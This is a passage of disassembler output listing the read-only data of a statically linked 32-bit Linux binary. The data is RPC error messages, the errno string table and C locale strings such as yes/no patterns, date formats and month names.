'RPC: Can',27h,'t encode arguments',0 aRpcSuccess db 'RPC: Success',0 aRpcUnknownErro db 'RPC: (unknown error code)',0 ; DATA XREF: sub_80638B8+62o asc_806AD30 db ' - ',0 ; DATA XREF: clnt_spcreateerror+55o ; clnt_spcreateerror+78o aErrorD db 'Error %d',0 ; DATA XREF: clnt_spcreateerror+CAo aFailedUnspecif db 'Failed (unspecified error)',0 aInvalidServerV db 'Invalid server verifier',0 aClientCredenti db 'Client credential too weak',0 aServerReject_0 db 'Server rejected verifier',0 aInvalidClientV db 'Invalid client verifier',0 aServerReject_1 db 'Server rejected credential',0 aInvalidClientC db 'Invalid client credential',0 aAuthentication db 'Authentication OK',0 aOutOfMemory db 'out of memory',0 ; DATA XREF: clnttcp_create+33o aClnttcp_crea_0 db 'clnttcp_create: %s',0Ah,0 ; DATA XREF: clnttcp_create+48o aOutOfMemory_0 db 'out of memory',0 ; DATA XREF: clntudp_bufcreate+46o aClntudp_create db 'clntudp_create: %s',0Ah,0 ; DATA XREF: clntudp_bufcreate+5Co aOutOfMemory_1 db 'out of memory',0 ; DATA XREF: sub_80651B8+6Co ; sub_8065304+81o aXdr_bytesS db 'xdr_bytes: %s',0Ah,0 ; DATA XREF: sub_80651B8+81o aXdr_stringS db 'xdr_string: %s',0Ah,0 ; DATA XREF: sub_8065304+96o aOutOfMemory_2 db 'out of memory',0 ; DATA XREF: sub_8065750+4Bo aXdrrec_createS db 'xdrrec_create: %s',0Ah,0 ; DATA XREF: sub_8065750+60o align 4 dword_806AE98 dd 806BBAAh ; DATA XREF: _strerror_internal+2Cr ; _IO_perror+3Dr ... dd offset aOperationNotPe ; "Operation not permitted" dd offset aNoSuchFileOrDi ; "No such file or directory" dd offset aNoSuchProcess ; "No such process" dd offset aInterruptedSys ; "Interrupted system call" dd offset aIOError ; "I/O error" dd offset aNoSuchDeviceOr ; "No such device or address" dd offset aArgListTooLong ; "Arg list too long" dd offset aExecFormatErro ; "Exec format error" dd offset aBadFileNumber ; "Bad file number" dd offset aNoChildProcess ; "No child processes" dd offset aTryAgain ; "Try again" dd offset aOutOfMemory_4 ; "Out of memory" dd offset aPermissionDeni ; "Permission denied" dd offset aBadAddress ; "Bad address" dd offset aBlockDeviceReq ; "Block device required" dd offset aDeviceOrResour ; "Device or resource busy" dd offset aFileExists ; "File exists" dd offset aCrossDeviceLin ; "Cross-device link" dd offset aNoSuchDevice ; "No such device" dd offset aNotADirectory ; "Not a directory" dd offset aIsADirectory ; "Is a directory" dd offset aInvalidArgumen ; "Invalid argument" dd offset aFileTableOverf ; "File table overflow" dd offset aTooManyOpenFil ; "Too many open files" dd offset aNotATypewriter ; "Not a typewriter" dd offset aTextFileBusy ; "Text file busy" dd offset aFileTooLarge ; "File too large" dd offset aNoSpaceLeftOnD ; "No space left on device" dd offset aIllegalSeek ; "Illegal seek" dd offset aReadOnlyFileSy ; "Read-only file system" dd offset aTooManyLinks ; "Too many links" dd offset aBrokenPipe ; "Broken pipe" dd offset aMathArgumentOu ; "Math argument out of domain of func" dd offset aMathResultNotR ; "Math result not representable" dd offset aResourceDeadlo ; "Resource deadlock would occur" dd offset aFileNameTooLon ; "File name too long" dd offset aNoRecordLocksA ; "No record locks available" dd offset aFunctionNotImp ; "Function not implemented" dd offset aDirectoryNotEm ; "Directory not empty" dd offset aTooManySymboli ; "Too many symbolic links encountered" dd offset aOperationWould ; "Operation would block" dd offset aNoMessageOfDes ; "No message of desired type" dd offset aIdentifierRemo ; "Identifier removed" dd offset aChannelNumberO ; "Channel number out of range" dd offset aLevel2NotSynch ; "Level 2 not synchronized" dd offset aLevel3Halted ; "Level 3 halted" dd offset aLevel3Reset ; "Level 3 reset" dd offset aLinkNumberOutO ; "Link number out of range" dd offset aProtocolDriver ; "Protocol driver not attached" dd offset aNoCsiStructure ; "No CSI structure available" dd offset aLevel2Halted ; "Level 2 halted" dd offset aInvalidExchang ; "Invalid exchange" dd offset aInvalidRequest ; "Invalid request descriptor" dd offset aExchangeFull ; "Exchange full" dd offset aNoAnode ; "No anode" dd offset aInvalidReque_0 ; "Invalid request code" dd offset aInvalidSlot ; "Invalid slot" dd offset aFileLockingDea ; "File locking deadlock error" dd offset aBadFontFileFor ; "Bad font file format" dd offset aDeviceNotAStre ; "Device not a stream" dd offset aNoDataAvailabl ; "No data available" dd offset aTimerExpired ; "Timer expired" dd offset aOutOfStreamsRe ; "Out of streams resources" dd offset aMachineIsNotOn ; "Machine is not on the network" dd offset aPackageNotInst ; "Package not installed" dd offset aObjectIsRemote ; "Object is remote" dd offset aLinkHasBeenSev ; "Link has been severed" dd offset aAdvertiseError ; "Advertise error" dd offset aSrmountError ; "Srmount error" dd offset aCommunicationE ; "Communication error on send" dd offset aProtocolError ; "Protocol error" dd offset aMultihopAttemp ; "Multihop attempted" dd offset aRfsSpecificErr ; "RFS specific error" dd offset aNotADataMessag ; "Not a data message" dd offset aValueTooLargeF ; "Value too large for defined data type" dd offset aNameNotUniqueO ; "Name not unique on network" dd offset aFileDescriptor ; "File descriptor in bad state" dd offset aRemoteAddressC ; "Remote address changed" dd offset aCanNotAccessAN ; "Can not access a needed shared library" dd offset aAccessingACorr ; "Accessing a corrupted shared library" dd offset a_libSectionInA ; ".lib section in a.out corrupted" dd offset aAttemptingToLi ; "Attempting to link in too many shared l"... dd offset aCannotExecASha ; "Cannot exec a shared library directly" dd offset aIllegalByteSeq ; "Illegal byte sequence" dd offset aInterruptedS_0 ; "Interrupted system call should be resta"... dd offset aStreamsPipeErr ; "Streams pipe error" dd offset aTooManyUsers ; "Too many users" dd offset aSocketOperatio ; "Socket operation on non-socket" dd offset aDestinationAdd ; "Destination address required" dd offset aMessageTooLong ; "Message too long" dd offset aProtocolWrongT ; "Protocol wrong type for socket" dd offset aProtocolNotAva ; "Protocol not available" dd offset aProtocolNotSup ; "Protocol not supported" dd offset aSocketTypeNotS ; "Socket type not supported" dd offset aOperationNotSu ; "Operation not supported on transport en"... dd offset aProtocolFamily ; "Protocol family not supported" dd offset aAddressFamilyN ; "Address family not supported by protoco"... dd offset aAddressAlready ; "Address already in use" dd offset aCannotAssignRe ; "Cannot assign requested address" dd offset aNetworkIsDown ; "Network is down" dd offset aNetworkIsUnrea ; "Network is unreachable" dd offset aNetworkDropped ; "Network dropped connection because of r"... dd offset aSoftwareCaused ; "Software caused connection abort" dd offset aConnectionRese ; "Connection reset by peer" dd offset aNoBufferSpaceA ; "No buffer space available" dd offset aTransportEndpo ; "Transport endpoint is already connected" dd offset aTransportEnd_0 ; "Transport endpoint is not connected" dd offset aCannotSendAfte ; "Cannot send after transport endpoint sh"... dd offset aTooManyReferen ; "Too many references: cannot splice" dd offset aConnectionTime ; "Connection timed out" dd offset aConnectionRefu ; "Connection refused" dd offset aHostIsDown ; "Host is down" dd offset aNoRouteToHost ; "No route to host" dd offset aOperationAlrea ; "Operation already in progress" dd offset aOperationNowIn ; "Operation now in progress" dd offset aStaleNfsFileHa ; "Stale NFS file handle" dd offset aStructureNeeds ; "Structure needs cleaning" dd offset aNotAXenixNamed ; "Not a XENIX named type file" dd offset aNoXenixSemapho ; "No XENIX semaphores available" dd offset aIsANamedTypeFi ; "Is a named type file" dd offset aRemoteIOError ; "Remote I/O error" dd offset aQuotaExceeded ; "Quota exceeded" db 0 ; db 0 ; db 0 ; db 0 ; aQuotaExceeded db 'Quota exceeded',0 ; DATA XREF: .rodata:0806B080o aRemoteIOError db 'Remote I/O error',0 ; DATA XREF: .rodata:0806B07Co aIsANamedTypeFi db 'Is a named type file',0 ; DATA XREF: .rodata:0806B078o aNoXenixSemapho db 'No XENIX semaphores available',0 ; DATA XREF: .rodata:0806B074o aNotAXenixNamed db 'Not a XENIX named type file',0 ; DATA XREF: .rodata:0806B070o aStructureNeeds db 'Structure needs cleaning',0 ; DATA XREF: .rodata:0806B06Co aStaleNfsFileHa db 'Stale NFS file handle',0 ; DATA XREF: .rodata:0806B068o aOperationNowIn db 'Operation now in progress',0 ; DATA XREF: .rodata:0806B064o aOperationAlrea db 'Operation already in progress',0 ; DATA XREF: .rodata:0806B060o aNoRouteToHost db 'No route to host',0 ; DATA XREF: .rodata:0806B05Co aHostIsDown db 'Host is down',0 ; DATA XREF: .rodata:0806B058o aConnectionRefu db 'Connection refused',0 ; DATA XREF: .rodata:0806B054o aConnectionTime db 'Connection timed out',0 ; DATA XREF: .rodata:0806B050o aTooManyReferen db 'Too many references: cannot splice',0 ; DATA XREF: .rodata:0806B04Co aCannotSendAfte db 'Cannot send after transport endpoint shutdown',0 ; DATA XREF: .rodata:0806B048o aTransportEnd_0 db 'Transport endpoint is not connected',0 ; DATA XREF: .rodata:0806B044o aTransportEndpo db 'Transport endpoint is already connected',0 ; DATA XREF: .rodata:0806B040o aNoBufferSpaceA db 'No buffer space available',0 ; DATA XREF: .rodata:0806B03Co aConnectionRese db 'Connection reset by peer',0 ; DATA XREF: .rodata:0806B038o aSoftwareCaused db 'Software caused connection abort',0 ; DATA XREF: .rodata:0806B034o aNetworkDropped db 'Network dropped connection because of reset',0 ; DATA XREF: .rodata:0806B030o aNetworkIsUnrea db 'Network is unreachable',0 ; DATA XREF: .rodata:0806B02Co aNetworkIsDown db 'Network is down',0 ; DATA XREF: .rodata:0806B028o aCannotAssignRe db 'Cannot assign requested address',0 ; DATA XREF: .rodata:0806B024o aAddressAlready db 'Address already in use',0 ; DATA XREF: .rodata:0806B020o aAddressFamilyN db 'Address family not supported by protocol',0 ; DATA XREF: .rodata:0806B01Co aProtocolFamily db 'Protocol family not supported',0 ; DATA XREF: .rodata:0806B018o aOperationNotSu db 'Operation not supported on transport endpoint',0 ; DATA XREF: .rodata:0806B014o aSocketTypeNotS db 'Socket type not supported',0 ; DATA XREF: .rodata:0806B010o aProtocolNotSup db 'Protocol not supported',0 ; DATA XREF: .rodata:0806B00Co aProtocolNotAva db 'Protocol not available',0 ; DATA XREF: .rodata:0806B008o aProtocolWrongT db 'Protocol wrong type for socket',0 ; DATA XREF: .rodata:0806B004o aMessageTooLong db 'Message too long',0 ; DATA XREF: .rodata:0806B000o aDestinationAdd db 'Destination address required',0 ; DATA XREF: .rodata:0806AFFCo aSocketOperatio db 'Socket operation on non-socket',0 ; DATA XREF: .rodata:0806AFF8o aTooManyUsers db 'Too many users',0 ; DATA XREF: .rodata:0806AFF4o aStreamsPipeErr db 'Streams pipe error',0 ; DATA XREF: .rodata:0806AFF0o aInterruptedS_0 db 'Interrupted system call should be restarted',0 ; DATA XREF: .rodata:0806AFECo aIllegalByteSeq db 'Illegal byte sequence',0 ; DATA XREF: .rodata:0806AFE8o aCannotExecASha db 'Cannot exec a shared library directly',0 ; DATA XREF: .rodata:0806AFE4o aAttemptingToLi db 'Attempting to link in too many shared libraries',0 ; DATA XREF: .rodata:0806AFE0o a_libSectionInA db '.lib section in a.out corrupted',0 ; DATA XREF: .rodata:0806AFDCo aAccessingACorr db 'Accessing a corrupted shared library',0 ; DATA XREF: .rodata:0806AFD8o aCanNotAccessAN db 'Can not access a needed shared library',0 ; DATA XREF: .rodata:0806AFD4o aRemoteAddressC db 'Remote address changed',0 ; DATA XREF: .rodata:0806AFD0o aFileDescriptor db 'File descriptor in bad state',0 ; DATA XREF: .rodata:0806AFCCo aNameNotUniqueO db 'Name not unique on network',0 ; DATA XREF: .rodata:0806AFC8o aValueTooLargeF db 'Value too large for defined data type',0 ; DATA XREF: .rodata:0806AFC4o aNotADataMessag db 'Not a data message',0 ; DATA XREF: .rodata:0806AFC0o aRfsSpecificErr db 'RFS specific error',0 ; DATA XREF: .rodata:0806AFBCo aMultihopAttemp db 'Multihop attempted',0 ; DATA XREF: .rodata:0806AFB8o aProtocolError db 'Protocol error',0 ; DATA XREF: .rodata:0806AFB4o aCommunicationE db 'Communication error on send',0 ; DATA XREF: .rodata:0806AFB0o aSrmountError db 'Srmount error',0 ; DATA XREF: .rodata:0806AFACo aAdvertiseError db 'Advertise error',0 ; DATA XREF: .rodata:0806AFA8o aLinkHasBeenSev db 'Link has been severed',0 ; DATA XREF: .rodata:0806AFA4o aObjectIsRemote db 'Object is remote',0 ; DATA XREF: .rodata:0806AFA0o aPackageNotInst db 'Package not installed',0 ; DATA XREF: .rodata:0806AF9Co aMachineIsNotOn db 'Machine is not on the network',0 ; DATA XREF: .rodata:0806AF98o aOutOfStreamsRe db 'Out of streams resources',0 ; DATA XREF: .rodata:0806AF94o aTimerExpired db 'Timer expired',0 ; DATA XREF: .rodata:0806AF90o aNoDataAvailabl db 'No data available',0 ; DATA XREF: .rodata:0806AF8Co aDeviceNotAStre db 'Device not a stream',0 ; DATA XREF: .rodata:0806AF88o aBadFontFileFor db 'Bad font file format',0 ; DATA XREF: .rodata:0806AF84o aFileLockingDea db 'File locking deadlock error',0 ; DATA XREF: .rodata:0806AF80o aInvalidSlot db 'Invalid slot',0 ; DATA XREF: .rodata:0806AF7Co aInvalidReque_0 db 'Invalid request code',0 ; DATA XREF: .rodata:0806AF78o aNoAnode db 'No anode',0 ; DATA XREF: .rodata:0806AF74o aExchangeFull db 'Exchange full',0 ; DATA XREF: .rodata:0806AF70o aInvalidRequest db 'Invalid request descriptor',0 ; DATA XREF: .rodata:0806AF6Co aInvalidExchang db 'Invalid exchange',0 ; DATA XREF: .rodata:0806AF68o aLevel2Halted db 'Level 2 halted',0 ; DATA XREF: .rodata:0806AF64o aNoCsiStructure db 'No CSI structure available',0 ; DATA XREF: .rodata:0806AF60o aProtocolDriver db 'Protocol driver not attached',0 ; DATA XREF: .rodata:0806AF5Co aLinkNumberOutO db 'Link number out of range',0 ; DATA XREF: .rodata:0806AF58o aLevel3Reset db 'Level 3 reset',0 ; DATA XREF: .rodata:0806AF54o aLevel3Halted db 'Level 3 halted',0 ; DATA XREF: .rodata:0806AF50o aLevel2NotSynch db 'Level 2 not synchronized',0 ; DATA XREF: .rodata:0806AF4Co aChannelNumberO db 'Channel number out of range',0 ; DATA XREF: .rodata:0806AF48o aIdentifierRemo db 'Identifier removed',0 ; DATA XREF: .rodata:0806AF44o aNoMessageOfDes db 'No message of desired type',0 ; DATA XREF: .rodata:0806AF40o aOperationWould db 'Operation would block',0 ; DATA XREF: .rodata:0806AF3Co aTooManySymboli db 'Too many symbolic links encountered',0 ; DATA XREF: .rodata:0806AF38o aDirectoryNotEm db 'Directory not empty',0 ; DATA XREF: .rodata:0806AF34o aFunctionNotImp db 'Function not implemented',0 ; DATA XREF: .rodata:0806AF30o aNoRecordLocksA db 'No record locks available',0 ; DATA XREF: .rodata:0806AF2Co aFileNameTooLon db 'File name too long',0 ; DATA XREF: .rodata:0806AF28o aResourceDeadlo db 'Resource deadlock would occur',0 ; DATA XREF: .rodata:0806AF24o aMathResultNotR db 'Math result not representable',0 ; DATA XREF: .rodata:0806AF20o aMathArgumentOu db 'Math argument out of domain of func',0 ; DATA XREF: .rodata:0806AF1Co aBrokenPipe db 'Broken pipe',0 ; DATA XREF: .rodata:0806AF18o aTooManyLinks db 'Too many links',0 ; DATA XREF: .rodata:0806AF14o aReadOnlyFileSy db 'Read-only file system',0 ; DATA XREF: .rodata:0806AF10o aIllegalSeek db 'Illegal seek',0 ; DATA XREF: .rodata:0806AF0Co aNoSpaceLeftOnD db 'No space left on device',0 ; DATA XREF: .rodata:0806AF08o aFileTooLarge db 'File too large',0 ; DATA XREF: .rodata:0806AF04o aTextFileBusy db 'Text file busy',0 ; DATA XREF: .rodata:0806AF00o aNotATypewriter db 'Not a typewriter',0 ; DATA XREF: .rodata:0806AEFCo aTooManyOpenFil db 'Too many open files',0 ; DATA XREF: .rodata:0806AEF8o aFileTableOverf db 'File table overflow',0 ; DATA XREF: .rodata:0806AEF4o aInvalidArgumen db 'Invalid argument',0 ; DATA XREF: .rodata:0806AEF0o aIsADirectory db 'Is a directory',0 ; DATA XREF: .rodata:0806AEECo aNotADirectory db 'Not a directory',0 ; DATA XREF: .rodata:0806AEE8o aNoSuchDevice db 'No such device',0 ; DATA XREF: .rodata:0806AEE4o aCrossDeviceLin db 'Cross-device link',0 ; DATA XREF: .rodata:0806AEE0o aFileExists db 'File exists',0 ; DATA XREF: .rodata:0806AEDCo aDeviceOrResour db 'Device or resource busy',0 ; DATA XREF: .rodata:0806AED8o aBlockDeviceReq db 'Block device required',0 ; DATA XREF: .rodata:0806AED4o aBadAddress db 'Bad address',0 ; DATA XREF: .rodata:0806AED0o aPermissionDeni db 'Permission denied',0 ; DATA XREF: .rodata:0806AECCo aOutOfMemory_4 db 'Out of memory',0 ; DATA XREF: .rodata:0806AEC8o aTryAgain db 'Try again',0 ; DATA XREF: .rodata:0806AEC4o aNoChildProcess db 'No child processes',0 ; DATA XREF: .rodata:0806AEC0o aBadFileNumber db 'Bad file number',0 ; DATA XREF: .rodata:0806AEBCo aExecFormatErro db 'Exec format error',0 ; DATA XREF: .rodata:0806AEB8o aArgListTooLong db 'Arg list too long',0 ; DATA XREF: .rodata:0806AEB4o aNoSuchDeviceOr db 'No such device or address',0 ; DATA XREF: .rodata:0806AEB0o aIOError db 'I/O error',0 ; DATA XREF: .rodata:0806AEACo aInterruptedSys db 'Interrupted system call',0 ; DATA XREF: .rodata:0806AEA8o aNoSuchProcess db 'No such process',0 ; DATA XREF: .rodata:0806AEA4o aNoSuchFileOrDi db 'No such file or directory',0 ; DATA XREF: .rodata:0806AEA0o aOperationNotPe db 'Operation not permitted',0 ; DATA XREF: .rodata:0806AE9Co aUnknownError_0 db 'Unknown error',0 dword_806BBB8 dd 7Bh ; DATA XREF: _strerror_internal+14r ; _IO_perror+35r ... unk_806BBBC db 0 ; ; DATA XREF: .rodata:0806AA28o ; .data:08079284o db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; unk_806BBC8 db 0 ; ; DATA XREF: .rodata:0806AA2Co ; .data:08079290o db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0Fh ; db 0 ; db 0 ; db 0 ; db 12h ; db 0BCh ; db 6 ; db 8 ; db 12h ; db 0BCh ; db 6 ; db 8 ; db 12h ; db 0BCh ; db 6 ; db 8 ; db 12h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 12h ; db 0BCh ; db 6 ; db 8 ; db 12h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 10h ; db 0BCh ; db 6 ; db 8 ; db 7Fh ;  db 0 ; db 0 ; db 0 ; unk_806BC14 db 0 ; ; DATA XREF: .rodata:0806AA30o ; .data:0807928Co db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 4 ; db 0 ; db 0 ; db 0 ; db 41h ; A db 0BCh ; db 6 ; db 8 ; db 31h ; 1 db 0BCh ; db 6 ; db 8 ; db 30h ; 0 db 0BCh ; db 6 ; db 8 ; db 30h ; 0 db 0BCh ; db 6 ; db 8 ; db 0 ; db 5Bh ; [ db 6Eh ; n db 4Eh ; N db 5Dh ; ] db 5Bh ; [ db 5Bh ; [ db 3Ah ; : db 61h ; a db 6Ch ; l db 70h ; p db 68h ; h db 61h ; a db 3Ah ; : db 5Dh ; ] db 5Dh ; ] db 0 ; db 5Bh ; [ db 79h ; y db 59h ; Y db 5Dh ; ] db 5Bh ; [ db 5Bh ; [ db 3Ah ; : db 61h ; a db 6Ch ; l db 70h ; p db 68h ; h db 61h ; a db 3Ah ; : db 5Dh ; ] db 5Dh ; ] db 0 ; db 0 ; db 0 ; db 0 ; unk_806BC54 db 0 ; ; DATA XREF: .rodata:0806AA24o ; .data:08079294o db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 93h ; db 0 ; db 0 ; db 0 ; db 0ACh ; db 0BFh ; db 6 ; db 8 ; db 0A8h ; db 0BFh ; db 6 ; db 8 ; db 0A4h ; db 0BFh ; db 6 ; db 8 ; db 0A0h ; db 0BFh ; db 6 ; db 8 ; db 9Ch ; db 0BFh ; db 6 ; db 8 ; db 98h ; db 0BFh ; db 6 ; db 8 ; db 94h ; db 0BFh ; db 6 ; db 8 ; db 8Dh ; db 0BFh ; db 6 ; db 8 ; db 86h ; db 0BFh ; db 6 ; db 8 ; db 7Eh ; ~ db 0BFh ; db 6 ; db 8 ; db 74h ; t db 0BFh ; db 6 ; db 8 ; db 6Bh ; k db 0BFh ; db 6 ; db 8 ; db 64h ; d db 0BFh ; db 6 ; db 8 ; db 5Bh ; [ db 0BFh ; db 6 ; db 8 ; db 57h ; W db 0BFh ; db 6 ; db 8 ; db 53h ; S db 0BFh ; db 6 ; db 8 ; db 4Fh ; O db 0BFh ; db 6 ; db 8 ; db 4Bh ; K db 0BFh ; db 6 ; db 8 ; db 47h ; G db 0BFh ; db 6 ; db 8 ; db 43h ; C db 0BFh ; db 6 ; db 8 ; db 3Fh ; ? db 0BFh ; db 6 ; db 8 ; db 3Bh ; ; db 0BFh ; db 6 ; db 8 ; db 37h ; 7 db 0BFh ; db 6 ; db 8 ; db 33h ; 3 db 0BFh ; db 6 ; db 8 ; db 2Fh ; / db 0BFh ; db 6 ; db 8 ; db 2Bh ; + db 0BFh ; db 6 ; db 8 ; db 23h ; # db 0BFh ; db 6 ; db 8 ; db 1Ah ; db 0BFh ; db 6 ; db 8 ; db 14h ; db 0BFh ; db 6 ; db 8 ; db 0Eh ; db 0BFh ; db 6 ; db 8 ; db 47h ; G db 0BFh ; db 6 ; db 8 ; db 9 ; db 0BFh ; db 6 ; db 8 ; db 4 ; db 0BFh ; db 6 ; db 8 ; db 0FDh ; db 0BEh ; db 6 ; db 8 ; db 0F3h ; db 0BEh ; db 6 ; db 8 ; db 0EBh ; db 0BEh ; db 6 ; db 8 ; db 0E2h ; db 0BEh ; db 6 ; db 8 ; db 0D9h ; db 0BEh ; db 6 ; db 8 ; db 0D6h ; db 0BEh ; db 6 ; db 8 ; db 0D3h ; db 0BEh ; db 6 ; db 8 ; db 0BEh ; db 0BEh ; db 6 ; db 8 ; db 0B5h ; db 0BEh ; db 6 ; db 8 ; db 0ACh ; db 0BEh ; db 6 ; db 8 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 0 ; db 25h ; % db 48h ; H db 3Ah ; : db 25h ; % db 4Dh ; M db 3Ah ; : db 25h ; % db 53h ; S db 0 ; db 25h ; % db 6Dh ; m db 2Fh ; / db 25h ; % db 64h ; d db 2Fh ; / db 25h ; % db 79h ; y db 0 ; db 25h ; % db 61h ; a db 20h ; db 25h ; % db 62h ; b db 20h ; db 25h ; % db 64h ; d db 20h ; db 25h ; % db 48h ; H db 3Ah ; : db 25h ; % db 4Dh ; M db 3Ah ; : db 25h ; % db 53h ; S db 20h ; db 25h ; % db 59h ; Y db 0 ; db 50h ; P db 4Dh ; M db 0 ; db 41h ; A db 4Dh ; M db 0 ; db 44h ; D db 65h ; e db 63h ; c db 65h ; e db 6Dh ; m db 62h ; b db 65h ; e db 72h ; r db 0 ; db 4Eh ; N db 6Fh ; o db 76h ; v db 65h ; e db 6Dh ; m db 62h ; b db 65h ; e db 72h ; r db 0 ; db 4Fh ; O db 63h ; c db 74h ; t db 6Fh ; o db 62h ; b db 65h ; e db 72h ; r db 0 ; db 53h ; S db 65h ; e db 70h ; p db 74h ; t db 65h ; e db 6Dh ; m db 62h ; b db 65h ; e db 72h ; r db 0 ; db 41h ; A db 75h ; u db 67h ; g db 75h ; u db 73h ; s db 74h ; t db 0 ; db 4Ah ; J db 75h ; u db 6Ch ; l db 79h ; y db 0 ; db 4Ah ; J db 75h ; u db 6Eh ; n db 65h ; e db 0 ; db 41h ; A db 70h ; p db 72h ; r db 69h ; i db 6Ch ; l db 0 ; db 4Dh ; M db 61h ; a db 72h ; r db 63h ; c db 68h ; h db 0 ; db 46h ; F db 65h ; e db 62h ; b db 72h ; r db 75h ; u db 61h ; a db 72h ; r db 79h ; y db 0 ; db 4Ah ; J db 61h ; a db 6Eh ; n db 75h ; u db 61h ; a db 72h ; r db 79h ; y db 0 ; db 44h ; D db 65h ; e db 63h ; c db 0 ; db 4Eh ; N db 6Fh ; o db 76h ; v db 0 ; db 4Fh ; O db 63h ; c db 74h ; t db 0 ; db 53h ; S db 65h ; e db 70h ; p db 0 ; db 41h ; A db 75h ; u db 67h ; g db 0 ; db 4Ah ; J db 75h ; u db 6Ch ; l db 0 ; db 4Ah ; J db 75h ; u db 6Eh ; n db 0 ; db 4Dh ; M db 61h ; a db 79h ; y db 0 ; db 41h ; A db 70h ; p db 72h ; r db 